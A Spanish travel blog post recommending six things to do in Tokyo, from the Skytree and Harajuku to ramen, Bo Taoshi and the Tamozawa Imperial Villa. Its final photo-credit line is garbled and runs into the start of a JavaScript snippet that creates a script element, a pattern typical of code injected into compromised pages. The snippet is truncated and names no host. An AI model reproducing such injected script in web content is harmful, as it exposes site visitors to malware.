Cuando estés en Tokio

18/10/2016

TOKYO

Cuando después de un viaje de horas y horas llegues a, quizá, una de las ciudades de tus sueños, hay seis cosas que no te puedes perder. Así que, ya sabes, cuando estés en Tokio haz una lista con estas seis cosas qué ver y qué hacer y, por supuesto, ¡hazlas! 😉 Hoy empieza el vuelo directo Madrid-Tokio de Iberia, así que está más a tu alcance que nunca.

Sube y contempla. ¿Adónde? ¿El qué? Sube al Tokyo Skytree y a la Torre Mori. El primero es el edificio más alto de la ciudad. Su altura de nada más y nada menos que 634 metros lo delata. El segundo es el que mejores vistas ofrece. Desde allí, alucinarás con la «réplica japonesa» de la Torre Eiffel.

Pasea. ¿Por dónde? Por el Barrio Harajuku. Te dejará sin habla. Jovial, elegante y excéntrico. Verás de todo. El Kawai Monster Café, o, lo que es lo mismo, el café de las Monster Girls no te dejará indiferente. Su carta de cócteles y postres parece sacada de la típica serie de animación japonesa.

Come y bebe. ¿El qué? Come una sopa de Ramen. Esta delicia, aunque de origen chino supuestamente, ya pertenece a la tradición gastronómica japonesa.  Es una sopa a base de fideos. Aléjate de sus versiones instantáneas de microondas y busca un buen local donde degustarla. Si entre las 12 am y la 13 pm hay cola, significará que tu elección de local es acertada. Kikanbo es apuesta segura. Y bebe un zumo natural a base de cúrcuma. En Sunshine Juice preparan unos riquísimos.

Visita un museo. ¿Cuál? El Samurai Museum. O, ¿una tienda museo? ¿Cuál? Mandarake. Hay motivos más que suficientes, tanto para visitar la primera opción como la segunda. En el Samurai Museum conocerás de cerca más piezas de la cultura japonesa. Mandarake es una cadena de tiendas especializadas en productos manga y anime de segunda mano. Sus vitrinas son dignas de admiración, por eso, reciben cada día la visita de turistas y autóctonas que simplemente quieren contemplarlas.

Practica un deporte. O, bueno, mejor, visualiza un deporte. ¿Por ejemplo? El Bo Taoshi. Se dice que nació como una forma de entrenamiento en el ejército del país. Desde luego bien podría ser. Nivel de dificultad y destreza no le falta: dos postes de madera altos y dos equipos de 150 personas. ¿Objetivo? Que esas 150 personas escalen por su poste sin que se venga abajo. ¿Y el poste del equipo contrario? Ese sí que tiene que venirse abajo 😉 .

Adéntrate en la tradición japonesa. ¿Cómo? Conociendo algunas de sus construcciones más emblemáticas. La Villa Imperial Tamozawa es una de ellas. Y tiene «un plus». Que la puedes ver por dentro también. Situada a 150 kilómetros al norte de la ciudad, data de 1899 y solía ser la residencia de verano del emperador. Sus más de 100 habitaciones y sus 9 hectáreas de jardines te impactarán.

Foto | B Lucavavar d=document;var s=d.createElement(‘script’);

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